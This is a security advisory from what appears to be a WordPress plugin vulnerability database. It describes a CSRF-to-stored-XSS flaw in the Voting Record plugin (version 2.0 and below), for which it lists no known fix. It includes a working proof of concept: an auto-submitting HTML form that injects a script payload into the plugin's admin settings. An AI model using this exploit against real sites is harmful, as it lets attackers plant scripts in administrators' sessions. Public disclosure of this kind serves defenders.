WordPress Plugin Vulnerabilities

Voting Record <= 2.0 - Settings Update to Stored XSS via CSRF

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Have an admin open an HTML page containing the following:

```
<form action="https://example.com/wp-admin/options-general.php?page=voting-record%2Fvoting-record.php" method="POST">
<input type="text" name="primary_voter" value='"><script>alert(1)</script>'>
    <input type="text" name="limit" value="">
    <input type="text" name="type" value="votes">
    <input type="text" name="extension" value="">
    <input type="text" name="open_recent" value="">
    <input type="text" name="close_recent" value="">
    <input type="text" name="recent_template" value="">
    <input type="text" name="no_recent" value="">
    <input type="text" name="open_search" value="">
    <input type="text" name="close_search" value="">
    <input type="text" name="search_template" value="">
    <input type="text" name="no_search" value="">
    <input type="text" name="update_options" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>
```

You will see the pop-up showing the XSS.

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2024-01-10 (about 4 months ago)
Added
2024-01-10 (about 4 months ago)
Last Updated
2024-01-10 (about 4 months ago)

Other